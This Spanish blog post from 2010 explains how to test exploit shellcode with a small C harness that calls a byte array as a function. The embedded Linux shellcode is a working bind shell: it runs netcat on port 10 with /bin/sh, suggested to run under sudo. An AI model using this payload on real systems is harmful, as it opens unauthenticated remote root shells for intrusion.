domingo, 17 de octubre de 2010

¿Cómo probar el Shellcode?

Para descartar un error al intentar realizar un exploit, vale la pena probar el shellcode primero. Para esto he escrito un pequeño programa en C que invoca el código de máquina, tal como se ejecutaría en un ataque. Esto nos permite dejar por fuera algunos de los problemas más complicados, como  la correcta escritura de la dirección de retorno, la ubicación del shellcode ...etc.

Este programa es realmente sencillo, y hace lo siguiente:
  1. crea un arreglo de caracteres donde se alojará el código de máquina.
  2. crea un apuntador a función que inicia en esta cadena de caracteres.
  3. ejecuta el código nativo a través de la invocación de este apuntador a función.

int main(int args, char* argv[])
{
    //ubicación del shellcode
    char shellcode[] =
    "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x66\xb8\x31\x30\x50"
    "\x66\xb8\x2d\x70\x50\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
    "\x6e\x66\xb8\x2d\x65\x50\x66\xb8\x2d\x6c\x50\x51\x68\x2f\x2f"
    "\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x51\x81\xc3\x25\x01\x01"
    "\x01\x81\xeb\x01\x01\x01\x01\x53\x81\xeb\x05\x01\x01\x01\x81"
    "\xc3\x01\x01\x01\x01\x53\x81\xeb\x0d\x01\x01\x01\x81\xc3\x01"
    "\x01\x01\x01\x53\x81\xeb\x05\x01\x01\x01\x81\xc3\x01\x01\x01"
    "\x01\x53\x81\xeb\x05\x01\x01\x01\x81\xc3\x01\x01\x01\x01\x53"
    "\x81\xeb\x0d\x01\x01\x01\x81\xc3\x01\x01\x01\x01\x53\x89\xe1"
    "\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80";

    // crear el apuntador a función
    int (*Funcion)() = (int(*)())shellcode;
    //invocarlo!
    Funcion();
 
}



Para probar este pequeño programa basta con compilarlo e invocarlo usando sudo (para obtener los privilegios de root temporalmente, tal como sucede comunmente) y la máquina se comportará de la misma manera como se comportaría ante un exploit exitoso que inyecte el código de máquina que escribimos en  nuestro programa de prueba.


A pesar de que este método funciona para cualquier sistema operativo, el código de máquina que se presenta en el ejemplo funciona sobre Linux, y el resultado obtenido es una conexión por el puerto 10 a través de la cual se reciben comandos que son ejecutados en el shell.


Saludos,

No hay comentarios:

Publicar un comentario